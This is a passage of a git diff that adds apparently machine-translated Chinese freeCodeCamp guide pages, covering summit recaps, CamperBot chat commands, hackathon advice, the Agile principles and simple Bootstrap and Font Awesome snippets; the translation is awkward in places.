+*   测试 - 这些测试将您的挑战变为现实。没有它们，我们无法确认用户提交的答案的准确性。明智地选择你的测试。使用Chai.js断言库编写算法测试。请使用should和expect语法以获得最终用户的可读性。作为不做的一个例子，许多原始的算法挑战是用assert语法编写的，许多测试用例很难读。如果您的算法问题有很多边缘情况，您将需要编写许多测试以获得完整覆盖。如果您发现自己编写的测试数量超出了您的需求，您可以考虑简化算法挑战的要求。对于难度级别1到3，您通常只需要2到4次测试。
+*   MDNlinks-看看`seed_data/bonfireMDNlinks.js` 。如果这些概念中的任何一个与您的算法相关，请务必包含它们。如果您知道此处未链接的MDN文章，则可以在将其添加到算法之前将其添加到bonfireMDNlinks.js文件中。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-twitch-account/index.md b/client/src/guide/chinese/meta/free-code-camp-twitch-account/index.md
new file mode 100644
index 0000000000..98a7f30171
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-twitch-account/index.md
@@ -0,0 +1,17 @@
+---
+title: Free Code Camp Twitch Account
+localeTitle: 免费代码营Twitch帐户
+---
+Twitch是一个受欢迎的直播服务，Free Code Camp离开了
+
+尽管我们喜欢使用这种服务，但流量很少而且很远，因此它没有达到目的。
+
+我们决定将重点放在使用[YouTube](https://www.youtube.com/freecodecamp)播放我们的月度峰会和配对节目以及上传教程和徒步旅行。
+
+您可以在此处找到我们的YouTube聊天室： [FreeCodeCamp / YouTube](https://gitter.im/FreeCodeCamp/YouTube)
+
+你可以在这里找到旧的抽搐通道： [twitch.tv/freecodecamp](https://www.twitch.tv/freecodecamp)
+
+~~ FreeCodeCamp使用Twitch.tv来广播直播流。这可以是从现场配对节目到我们的月度峰会，其中宣布重大新闻事件和新发展.~~
+
+~~鼓励所有级别的编码器在FreeCodeCamp抽搐频道上流式传输。如果这是你感兴趣的东西，请联系gitter上的twitch mods。~~
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camp-unofficial-local-groups/index.md b/client/src/guide/chinese/meta/free-code-camp-unofficial-local-groups/index.md
new file mode 100644
index 0000000000..603163444d
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camp-unofficial-local-groups/index.md
@@ -0,0 +1,9 @@
+---
+title: Free Code Camp Unofficial Local Groups
+localeTitle: 免费代码营非官方本地团体
+---
+![来自多伦多的咖啡和代码会议的照片](https://discourse-user-assets.s3.amazonaws.com/original/2X/f/ff5fe6693f4d56b6b6b768d91f10bd4cdd9f3eb2.jpg)
+
+免费代码营学习小组代表了我们社区的本地化体验，它们完全由像您这样致力于学习如何编码和帮助其他人的人来运行和组织。他们的Facebook网站是组织咖啡和代码风格活动，在黑客会话中本地配对计划或分享您所在地区其他编码相关事件的新闻的地方。他们的目的是在15-20分钟内聚集人。
+
+无论您是居住在大都市区还是小城镇，我们都鼓励您加入或创建自己的小组，以满足其他忙于学习编码的人。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camps-august-live-stream/index.md b/client/src/guide/chinese/meta/free-code-camps-august-live-stream/index.md
new file mode 100644
index 0000000000..f7344426b3
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camps-august-live-stream/index.md
@@ -0,0 +1,22 @@
+---
+title: Free Code Camps August Live Stream
+localeTitle: 免费Code Camps August直播
+---
+# Free Code Camp的[August Live Stream](https://youtu.be/UhoxoYrJ6Qs)是最大的。
+
+## 议程包括：
+
+*   迈克尔的开场白
+*   新前端挑战[3点](https://youtu.be/UhoxoYrJ6Qs?t=3m)
+*   新配置的全栈挑战
+*   新的非营利项目[12:32](https://youtu.be/UhoxoYrJ6Qs?t=12m32s)
+*   维基[22:49](https://youtu.be/UhoxoYrJ6Qs?t=22m49s)
+*   新的聊天室[29:40](https://youtu.be/UhoxoYrJ6Qs?t=29m40s)
+*   新的直播流[35:34](https://youtu.be/UhoxoYrJ6Qs?t=35m34s)
+*   新的网络电台DJ营地人员[36:30](https://youtu.be/UhoxoYrJ6Qs?t=36m30s)
+*   FCC Bot [39:24](https://youtu.be/UhoxoYrJ6Qs?t=39m24s)
+*   Matt Yamamoto前端项目演示[54:24](https://youtu.be/UhoxoYrJ6Qs?t=54m24s)
+*   从昆西[1:04:15结束](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s)
+*   [用Quincy拉回党后请求](https://youtu.be/r0lCJ_TFYlI)
+
+[![2015年8月1日我们的抽搐饲料屏幕截图](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2630ba14f0dd558a01903fd81d4ebbb9309cb926.png)](http://www.youtube.com/watch?feature=player_embedded&v=UhoxoYrJ6Qs)
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camps-camperbot/index.md b/client/src/guide/chinese/meta/free-code-camps-camperbot/index.md
new file mode 100644
index 0000000000..abd0e9202f
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camps-camperbot/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camps Camperbot
+localeTitle: 免费守则营Camperbot
+---
+嗨，我是**[CamperBot](https://github.com/FreeCodeCamp/freecodecamp/wiki/camperbot)** ！我可以在这个聊天室里帮助你![:smile:](//forum.freecodecamp.com/images/emoji/emoji_one/smile.png?v=2 "：微笑：")
+
+### 基本命令：
+
+*   `find TOPIC`找到关于主题的所有条目。例如`find js`
+*   `wiki TOPIC`显示主题页面的内容
+*   `thanks @username`发送布朗尼指向另一个用户
+*   `about @username`显示该用户的信息
+*   `Algorithm BONFIRENAME`信息
+
+见到CamperBot [![FreeCodeCamp / camperbotPlayground </A>](https://gitter.im/FreeCodeCamp/camperbotPlayground)](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg) 
+
+## [示例命令](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+[](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+ [`find js   # all JS entries 
+ wiki muta  # first entry with muta in name 
+ wiki bobbytables  # showing images 
+ wiki video  # and video 
+ rollem    # secret sauce 
+ Algorithm roman   # any Algorithm with roman in name` ](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg) 
+
+[](https://img.shields.io/badge/Gitter_Chat_Room:-FreeCodeCamp/camperbotPlayground_%E2%86%91-006400.svg?style=flat-square&maxAge=2592000%29.svg)
+
+要使用CamperBot，请使用测试频道： [https](https://gitter.im/FreeCodeCamp/camperbotPlayground) ：//gitter.im/FreeCodeCamp/camperbotPlayground
+
+## 帮助算法
+
+目前在Gitter上的HelpBonFires频道上直播[https://gitter.im/FreeCodeCamp/HelpBonfires](https://gitter.im/FreeCodeCamp/HelpBonfires)
+
+我们添加了一些特定于算法的命令。如果您键入`Algorithm $BONFIRENAME` （其中$ BONFIRENAME是算法名称的一部分），它将设置聊天与该算法有关。然后您可以使用其他一些特定于算法的命令：
+
+*   bf详细信息 - 更多信息
+*   扰流板 - 显示一些提示
+
+## 更多命令
+
+*   `update`拉新wiki编辑asap
+*   `topics`从维基中选择的页面
+*   `rooms`所有房间机器人所在
+*   `archives`显示历史
+*   `music`已弃用，插件DJ不再存在。
+*   `twitch`显示抽搐饲料
+
+## 维基的内容
+
+随意创建新页面，例如： [https](https://github.com/FreeCodeCamp/freecodecamp/wiki/example) ： [//github.com/FreeCodeCamp/freecodecamp/wiki/example](https://github.com/FreeCodeCamp/freecodecamp/wiki/example)
+
+## 源存储库
+
+`https://github.com/FreeCodeCamp/camperbot`
+
+叉它，玩得开心！
+
+## 路线图
+
+我们正在寻找有关要添加的新功能的想法，以及一些帮助处理机器人的人。看看有关回购的[帮助需要的](https://github.com/FreeCodeCamp/camperbot/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22)门票，也许你可以贡献？
+
+将来，我们计划：
+
+*   算法分步教程将通过聊天和CamperBot提供
+*   按主题实时标记和搜索聊天
+*   脚本语言和自然语言处理参与其中，让我们知道您希望接下来看到的内容！
+
+## 开发者聊天室
+
+*   [加入我们的存储库聊天室](https://gitter.im/FreeCodeCamp/camperbot) ，讨论新功能。也许我们可以配合工作在机器人2.0！
+*   [加入这个聊天室](https://gitter.im/FreeCodeCamp/camperbotPlayground) ，使用CamperBot并尝试命令，校对您对wiki内容的编辑等。
+
+![请享用](https://avatars1.githubusercontent.com/camperbot?&s=100)快乐的编码！
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camps-summit-august-2015/index.md b/client/src/guide/chinese/meta/free-code-camps-summit-august-2015/index.md
new file mode 100644
index 0000000000..f773512fcb
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camps-summit-august-2015/index.md
@@ -0,0 +1,22 @@
+---
+title: Free Code Camps Summit August 2015
+localeTitle: 免费守则训练营峰会2015年8月
+---
+Free Code Camp的August Live Stream是最大的。
+
+## 议程包括：
+
+*   迈克尔的开场白
+*   新前端挑战[3点](https://youtu.be/UhoxoYrJ6Qs?t=3m)
+*   新配置的全栈挑战
+*   新的非营利项目[12:32](https://youtu.be/UhoxoYrJ6Qs?t=12m32s)
+*   维基[22:49](https://youtu.be/UhoxoYrJ6Qs?t=22m49s)
+*   新的聊天室[29:40](https://youtu.be/UhoxoYrJ6Qs?t=29m40s)
+*   新的直播流[35:34](https://youtu.be/UhoxoYrJ6Qs?t=35m34s)
+*   新的网络电台DJ营地人员[36:30](https://youtu.be/UhoxoYrJ6Qs?t=36m30s)
+*   FCC Bot [39:24](https://youtu.be/UhoxoYrJ6Qs?t=39m24s)
+*   Matt Yamamoto前端项目演示[54:24](https://youtu.be/UhoxoYrJ6Qs?t=54m24s)
+*   从昆西[1:04:15结束](https://youtu.be/UhoxoYrJ6Qs?t=1h4m15s)
+*   [用Quincy拉回党后请求](https://youtu.be/r0lCJ_TFYlI)
+
+[![2015年8月1日我们的抽搐饲料屏幕截图](//discourse-user-assets.s3.amazonaws.com/original/2X/a/ae495957ffa462d9cb26a59b9a4e79e8407a700c.png)](http://www.youtube.com/watch?feature=player_embedded&v=UhoxoYrJ6Qs)
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camps-summit-december-2015/index.md b/client/src/guide/chinese/meta/free-code-camps-summit-december-2015/index.md
new file mode 100644
index 0000000000..02c5a546a6
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camps-summit-december-2015/index.md
@@ -0,0 +1,75 @@
+---
+title: Free Code Camps Summit December 2015
+localeTitle: 免费守则训练营峰会2015年12月
+---
+[免费守则营的12月峰会](https://youtu.be/TsIzthxhTHc)
+
+以下是那些没有时间观看整整90分钟的人的摘要：
+
+**\- 新课程 -**
+
+\- 什么都不会改变，包括前端开发证书。
+
+\- 旧的Full Stack认证现在将成为Backend认证。这将包括当前的后端内容（包括后端项目），还将包括5JSON / API开发后端项目。高级算法将包含在此处。
+
+\-React.js将取代Angular / js，并将在SASS和D3.js中进行数据可视化认证。该认证将包括React / SASS项目和D3项目。
+
+\- 完成其他三项认证和四项非营利项目后，完成全栈开发认证。其中两个将是新项目，两个将维护/扩展遗留代码。
+
+\- 面试准备包括面试准备，白板准备和面试其他露营者，现场直播。
+
+\- 以新课程为中心的一些变化将在几天后生效。
+
+**\--Challenges--**
+
+\- [@SaintPeter](/users/saintpeter)正在创建约60个新的Javascript挑战。
+
+\- 在挑战期间创建新的“检查点”，就像迷你算法一样。它们将成为“空白页面”的挑战，旨在让营员们从挑战转变为算法。
+
+\- 有一个'挑战 - 成熟'的挑战工具，任何人都可以使用它来创造挑战并为FCC做出贡献。
+
+**\--Hikes--**
+
+\-'Hikes'是涵盖基本计算机科学概念的短视频。他们将扩展到任何与编程相关的主题，包括数学，工程等。希望露营者能够提供他们认为相关的其他主题的视频。
+
+\- FCC的一个目标是使整个课程脱机。 [@QuincyLarson](/users/quincylarson)讨论了让Raspberry Pis加载FCC并分发的想法。
+
+**\- 社区分析 -**
+
+\- 在Gitter上有一个[FCC数据科学聊天](https://gitter.im/FreeCodeCamp/DataScience) ，其中有关于FCC的一些很酷的分析正在发布。
+
+\- [FCC实验室](https://www.freecodecamp.com/labs)有一些很酷的应用程序，您可以使用它们来查看到目前为止已构建的一些数据可视化。
+
+**\- 新的FCC Wiki--**
+
+\-Wiki由于垃圾邮件而被转移到新的仓库。想要贡献的营员可以在[The Repo](https://www.github.com/freecodecamp/wiki)上提出拉动请求。
+
+\- 新的wiki本身可在[Beta站点上找到](https://beta.freecodecamp.com/wiki) 。
+
+**\--Q＆A--**
+
+\- 露营者可以做出的小任务。 [主要FCC回购/问题](https://github.com/FreeCodeCamp/FreeCodeCamp/issues)中标记为“求助”的[问题](https://github.com/FreeCodeCamp/FreeCodeCamp/issues)是诸如任何人都可以修复的拼写错误之类的小问题。只需执行拉取请求并进行修复。有关如何参与的说明，请参阅[主要的FCC回购](https://github.com/FreeCodeCamp/FreeCodeCamp)
+
+**\- 为什么React.js超过Angular.js？**学习和教学更简单，写作更“有趣”。另一个原因是FCC认为React.js背后有一个“临界质量”，基于很多知名人士将他们的代码库移动到React.js中。例如，Wordpress正在发生变化，占互联网的25％。 React.js的广泛采用转化为更多的就业机会。 Angular.js现在更受欢迎，但[@QuincyLarson](/users/quincylarson)认为React.js将超过Angular.js。 Angular 2即将推出，并且是Angular 1的全面改造;名字唯一相同的东西。 [@SaintPeter](/users/saintpeter)补充说，新的Wiki网站是用React.js编写的，反应灵敏。
+
+**\- FCC足以让我成为网络开发者吗？** [@SaintPeter](/users/saintpeter) ：不是。美国联邦通信委员会提供了一个框架和线性路径来指导您的学习，但不会向所有人提供所有内容。如果你去其他资源来补充你的学习，不要觉得你在FCC上作弊。 [@QuincyLarson](/users/quincylarson) ：联邦通信委员会在详尽无遗方面领先于同行，我们希望FCC在未来尽可能全面。那就是说，当然你应该补充你与其他网站的学习。 FCC的主要重点之一是项目（我假设前端项目和后端项目？）因此，如果需要，请使用其他材料，但回到FCC使用该知识来完成项目。
+
+**\- 既然添加了SASS，是否有机会添加像Jade这样的HTML预处理器？** [@BerkeleyTrue](/users/berkeleytrue) - 也许吧，但它似乎不会给课程增加太多。
+
+**\- 与FCC合作的直接结果是，有多少营员获得了工作？** [@BerkeleyTrue](/users/berkeleytrue) - 至少有十几个。 [@QuincyLarson](/users/quincylarson) - 我们不能保留硬数据，因为我们不做配对，所以我们依靠人们告诉我们他们什么时候找到工作，但至少有一百个。很多人在完成我们的课程之前就找到了工作。
+
+**\- 根据新课程，已经拥有全栈开发人员认证的人会怎样？** [@QuincyLarson](/users/quincylarson) - 现在没有公平的方式来处理拥有认证的25人。他将直接与他们联系道歉，但在完成五个新的API挑战后，当前的Full Stack Developer认证将转换为后端开发人员认证。希望这是最后一次课程长度的变化。
+
+**\- FCC会触及Gulp，Bower，Yeoman等Node模块吗？** [@SaintPeter](/users/saintpeter) - 当你准备好使用它们时，你应该足够了解自己。在计划的早期介绍它们太过分了。 / u / quicnylarson - 我想看看Hike的主题。
+
+**\- 你怎么看到Reddit被露营者使用？** [@QuincyLarson](/users/quincylarson) - Reddit是我们社区分享想法和提问的地方。 FCC社区分布在许多不同的平台上（例如Gitter聊天，Facebook，聚会等）。 Reddit是人们立刻与整个社区分享故事，提问等等的绝佳方式。
+
+另外， [@ QuincyLarson](/users/quincylarson)提升了[一个stackoverflow页面，](https://stackoverflow.com/research/developer-survey-2015)并讨论了越来越多的软件开发人员自学和/或来自非CS领域的趋势。
+
+**\- 上个月，你说约有200人完成了前端开发者证书。这是否已经改变，人们获得此证书的比率是多少？** [@BerkeleyTrue](/users/berkeleytrue) - 311. [@QuincyLarson](/users/quincylarson) - 节奏有所提升。如果你已经完成了那个证书，互联网高五。 913人已经承诺向非营利组织捐款。
+
+顺便说一句，/ u / quicnylarson讨论了未来的计划，以扩大露营者可以承诺的非营利组织的非营利组织数量。没有具体的数字，只是它将来会扩展。
+
+**\- 人们如何雇用FCC毕业生？** [@QuincyLarson](/users/quincylarson) - 雇主可以使用[免费代码营工作委员会](https://www.freecodecamp.com/jobs)发布职位。美国联邦通信委员会只希望高质量的雇主提供高质量的工作，因此他们目前正在收取1000美元在工作委员会上发布工作。美国联邦通信委员会仍在试图弄清楚如何向雇主推销并帮助他们了解他们在雇用FCC毕业生时会得到什么。只有约5％的美国人学习编码，而中国则只有100％。软件开发人员已经是美国一些州最常见的工作。免费为每个人提供编码教育是一个伟大而雄心勃勃的目标。工作板（及其成本）只是另一种表现形式。
+
+**\- 如果我是老牌开发人员，我可以立即开始从事非营利项目吗？** [@QuincyLarson](/users/quincylarson) - 不是。在我们的非营利项目上工作的每个人都必须先获得全栈开发认证。完成该计划不仅仅是展示能力，还要展示对该计划的承诺。重要的是，在非营利组织工作的人是专注的，并投入时间和精力来达到这一点; FCC不希望人们在项目中途退出。 [@QuincyLarson](/users/quincylarson)指出FCC故意很难，可能是最困难的编码资源之一。即使是具有编码经验的人也可能需要数小时才能完成前端项目或后端项目。这是设计的。 [@SaintPeter](/users/saintpeter) - 作为提醒，所有挑战都是可选的（适合所有​​人）。如果您有编码背景，则只需完成算法，前端项目和后端项目即可获得证书。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camps-summit-november-2015/index.md b/client/src/guide/chinese/meta/free-code-camps-summit-november-2015/index.md
new file mode 100644
index 0000000000..8ecc4010d8
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camps-summit-november-2015/index.md
@@ -0,0 +1,14 @@
+---
+title: Free Code Camps Summit November 2015
+localeTitle: 免费守则训练营峰会2015年11月
+---
+我们的2015年11月7日峰会在美国东部时间中午在[我们的twitch.tv频道](http://twitch.tv/freecodecamp)开始，之后在我们的[YouTube频道播出](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) 。
+
+这个一小时的直播特色：
+
+1.  昆西展示了[我们的新媒体出版物](https://medium.freecodecamp.com)
+2.  伯克利解释了我们最近的课程改进，以及你如何做出贡献
+3.  Ben介绍了Challenge-o-matic 1000工具，用于创造挑战
+4.  迈克演示了一种使用Vagrant只需几个命令即可在您的计算机上运行FCC的方法
+5.  Kristian演示了[由露营者建造](http://musare.com/)的[协作现代音乐应用程序](http://musare.com/)
+6.  来自我们社区的问题
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/free-code-camps-summit-october-2015/index.md b/client/src/guide/chinese/meta/free-code-camps-summit-october-2015/index.md
new file mode 100644
index 0000000000..53af92964e
--- /dev/null
+++ b/client/src/guide/chinese/meta/free-code-camps-summit-october-2015/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camps Summit October 2015
+localeTitle: 免费守则训练营峰会2015年10月
+---
+我们的2015年10月3日峰会于周六中午在美国东部时间周末[twitch.tv频道](http://twitch.tv/freecodecamp)开始，之后将在我们的[YouTube频道播出](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) 。
+
+在这1小时的直播中，我们将：
+
+*   推出免费的前端和全栈开发证书课程
+*   演示我们新的，更全面的投资组合页面
+*   演示一种新的方式，我们所有的营员都可以立即开始帮助非营利组织
+*   与露营者Blake Johnston交谈，他创建了Free Code Camp将用于我们的完整堆栈后端项目挑战的Clementine.js样板
+*   在teespring.com上推出我们的首个T恤广告系列
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/index.md b/client/src/guide/chinese/meta/index.md
new file mode 100644
index 0000000000..575e55ed64
--- /dev/null
+++ b/client/src/guide/chinese/meta/index.md
@@ -0,0 +1,7 @@
+---
+title: Meta
+localeTitle: 元
+---
+## 元
+
+Freecodecamp是一家美国非营利组织，成立于2014年10月15日。它为想要学习网络开发或提高技能的自学者提供高质量的课程。如今，每个月都有超过100万名露营者使用的全球社区。
\ No newline at end of file
diff --git a/client/src/guide/chinese/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md b/client/src/guide/chinese/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md
new file mode 100644
index 0000000000..05d34b7ee9
--- /dev/null
+++ b/client/src/guide/chinese/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md
@@ -0,0 +1,11 @@
+---
+title: Why Does Free Code Camp Use JavaScript Instead of Ruby or Python
+localeTitle: 为什么免费代码营使用JavaScript而不是Ruby或Python
+---
+与JavaScript一样，Ruby和Python是高级脚本语言，可用于完整的堆栈Web开发。
+
+但即使您学习了这些语言，您仍然需要学习JavaScript。那是因为JavaScript是在Web浏览器中运行的唯一语言。 JavaScript已经存在了20年，并且它仍然越来越受欢迎。
+
+因此，JavaScript拥有比任何其他语言更多的工具和在线学习资源。
+
+![一个图表显示了新的GitHub存储库的数量，随着JavaScript的增长和大多数语言的下降。](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0fdd6f454cc04076bb5ed1334befbecc2b966913.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md b/client/src/guide/chinese/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md
new file mode 100644
index 0000000000..c974bf0f4a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md
@@ -0,0 +1,45 @@
+---
+title: 10 Steps on How to Conquer a Hackathon
+localeTitle: 如何征服黑客马拉松的10个步骤
+---
+## 如何征服黑客马拉松的10个步骤
+
+1.  **尽早申请。**
+
+有时，一些黑客马拉松分批发出接受。如果你在黑客马拉松前几天申请，你可能会被排除在外。大多数黑客马拉松，特别是那些针对本科生和研究生的黑客马拉松，可以自由参加，许多黑手党甚至提供旅行报销，以帮助补助长途旅行的参与者的旅行费用。但是，旅行报销的资金可能有限，因此请尽早申请，以保证您获得其中一项补助金。
+
+2.  **别害怕。**
+
+我最近参加了我的第一次黑客马拉松比赛，我完全害怕了一个重大的[冒名顶替综合症](https://guide.freecodecamp.org/working-in-tech/imposter-syndrome/) 。黑客马拉松的关键是在没有任何恐惧的情况下获得它，你确实是团队的重要资产。
+
+3.  **继续推。**
+
+如果你在黑客马拉松，你的项目停止，只要继续推动，项目的一部分比没有项目更好。
+
+4.  **享受免费赠品。**
+
+像你正在创造的东西一样压力很大，黑客马拉松的一些赞助商会给你带来许多很酷的东西，比如衬衫，贴纸，偶尔还有很酷的小玩意儿。库存了！
+
+5.  **享受免费食物。**
+
+黑客马拉松的另一个令人敬畏的方面是免费食物，因为你在那里至少有12个小时长达4或5天（极端情况），他们为参与者提供免费餐，YUM！
+
+6.  **尽可能多地学习。**
+
+关于黑客马拉松的最好的部分之一是学习一些非常酷的东西。很多参加活动的人都有不同的技能，专业知识和教育背景。从这里，您可以了解他们所提供的一切和所有内容。一些参与者将为您提供酷图书馆，教程和社区的链接，有些人会抛出一个新的流行语，有些甚至会向您展示一个很酷的人体工程学小工具，可以改善您的工作流程。最后但同样重要的是，与其他参与者一起学习一些技术技能是非常宝贵的！
+
+7.  **网络。**
+
+来自非技术教育背景，这是我第一次黑客马拉松时最重要和最开眼的方面之一。通常有时候，招聘人员会在那里，其他开发商，风险投资商，甚至律师都希望代表下一个重大创新。最后，您可以与团队中的其他一些与会者结交朋友。
+
+8.  **单独去吧。**
+
+这最初是我最大的恐惧山之一。我真的很想跟一些我认识的人一起去，但是如果你这样做，他们会成为一个拐杖，你就会紧紧抓住他们。我们的目标是拓展并结交新朋友，结识新朋友。你会很高兴的。
+
+9.  **拥抱这种体验。**
+
+有时候当你陷入一个无法解决的错误中，或者你的团队似乎无法相处时，请记住所有这些都是进入黑客马拉松的经历的一部分。你不是第一个有这种感觉的人，你不会是最后一个。将这一切视为学习体验的一部分。
+
+10.  **玩得开心！**
+
+一个我最喜欢的匿名消息来源引用的是“如果你没有玩乐，你做错了”。交朋友，走出你的舒适区，享受不眠之夜，喝一些咖啡因，当你得到一个虫子时笑，并尝试修复它，你会记住这是一个有益的经历。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/12-principles-behind-the-agile-manifesto/index.md b/client/src/guide/chinese/miscellaneous/12-principles-behind-the-agile-manifesto/index.md
new file mode 100644
index 0000000000..67f79783a0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/12-principles-behind-the-agile-manifesto/index.md
@@ -0,0 +1,33 @@
+---
+title: 12 Principles Behind the Agile Manifesto
+localeTitle: 敏捷宣言背后的12项原则
+---
+### 我们遵循以下原则：
+
+1.  我们的首要任务是通过早期和持续交付有价值的软件来满足客户。
+    
+2.  欢迎不断变化的要求，甚至是开发后期。敏捷流程利用变化来实现客户的竞争优势。
+    
+3.  经常提供工作软件，从几周到几个月，优先考虑更短的时间尺度。
+    
+4.  业务人员和开发人员必须在整个项目中每天一起工作。
+    
+5.  围绕有动力的个人建立项目。为他们提供所需的环境和支持，并相信他们能够完成工作。
+    
+6.  向开发团队内部和内部传达信息的最有效和最有效的方法是面对面交谈。
+    
+7.  工作软件是进步的主要衡量标准。
+    
+8.  敏捷过程促进可持续发展。赞助商，开发者和用户应该能够  
+    无限期保持稳定的步伐。
+    
+9.  持续关注技术卓越和良好的设计可提高灵活性。
+    
+10.  简单性 - 最大化未完成工作量的艺术 - 至关重要。
+    
+11.  最好的架构，要求和设计来自自组织团队。
+    
+12.  团队定期反思如何变得更有效，然后相应地调整和调整其行为。
+    
+
+阅读[http://agilemanifesto.org/principles.html上](http://agilemanifesto.org/principles.html)的原文
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/about-the-wiki-category/index.md b/client/src/guide/chinese/miscellaneous/about-the-wiki-category/index.md
new file mode 100644
index 0000000000..781b864403
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/about-the-wiki-category/index.md
@@ -0,0 +1,5 @@
+---
+title: About the Wiki Category
+localeTitle: 关于Wiki类别
+---
+[社区运行的wiki](https://forum.freecodecamp.org/c/guide)包含涵盖我们大多数挑战的文章，以及Linux等工具。它还具有Python，Java和其他语言的交互式挑战。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/accessing-the-database-from-your-front-end/index.md b/client/src/guide/chinese/miscellaneous/accessing-the-database-from-your-front-end/index.md
new file mode 100644
index 0000000000..ce9ce84d12
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/accessing-the-database-from-your-front-end/index.md
@@ -0,0 +1,12 @@
+---
+title: Accessing the Database from Your Front End
+localeTitle: 从前端访问数据库
+---
+你一定注意到在**main.controller.js** _事情_是如何从数据库中检索并显示：
+```
+$http.get('/api/things').success(function(awesomeThings){ 
+    $scope.awesomeThings = awesomeThings; 
+ }); 
+```
+
+这样做是调用API与“取”请求，然后由**/server/api/things/index.js**路由到**things.controller.js**的_exports.index_功能。您还会在**main.controller.js**中注意到，还包含了_$ http.post_和_$ http.delete_函数的示例！多好！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/add-elements-within-your-bootstrap-wells/index.md b/client/src/guide/chinese/miscellaneous/add-elements-within-your-bootstrap-wells/index.md
new file mode 100644
index 0000000000..fdcf6ebc37
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/add-elements-within-your-bootstrap-wells/index.md
@@ -0,0 +1,5 @@
+---
+title: Add Elements Within Your Bootstrap Wells
+localeTitle: 在Bootstrap Wells中添加元素
+---
+一旦你在`divs`足够深入，你可以开始添加你的Bootstrap按钮。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md b/client/src/guide/chinese/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md
new file mode 100644
index 0000000000..2a906c05b7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md
@@ -0,0 +1,10 @@
+---
+title: Add Font Awesome Icons to All of Our Buttons
+localeTitle: 添加字体真棒图标到我们所有的按钮
+---
+将添加垃圾桶图标。
+```
+<i class="fa fa-info-circle"></i> 
+```
+
+将添加信息图标。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md b/client/src/guide/chinese/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md
new file mode 100644
index 0000000000..f628f76bb3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md
@@ -0,0 +1,27 @@
+---
+title: Add Font Awesome Icons to Our Buttons
+localeTitle: 添加字体真棒图标到我们的按钮
+---
+## 添加字体真棒图标到我们的按钮
+
+Font Awesome是一个方便的图标库。这些图标是矢量图形，以`.svg`文件格式存储。这些图标就像字体一样对待。您可以使用像素指定其大小，并且它们将采用其父HTML元素的字体大小。
+
+继承人如何添加图标：
+
+```html
+
+<i class="fa fa-thumbs-up"></i> 
+```
+
+以下是将该图标插入按钮的方法：
+
+```html
+
+<button class="btn btn-block btn-primary"><i class="fa fa-thumbs-up"></i> Like</button> 
+```
+
+#### 更多信息：
+
+在您的网站上获取字体真棒： [字体很棒 - 入门](http://fontawesome.io/get-started/)
+
+查看所有可用的字体真棒图标： [图标](http://fontawesome.io/icons/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/add-free-code-camp-in-linkedin/index.md b/client/src/guide/chinese/miscellaneous/add-free-code-camp-in-linkedin/index.md
new file mode 100644
index 0000000000..ac24bd9114
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/add-free-code-camp-in-linkedin/index.md
@@ -0,0 +1,14 @@
+---
+title: Add Free Code Camp in Linkedin
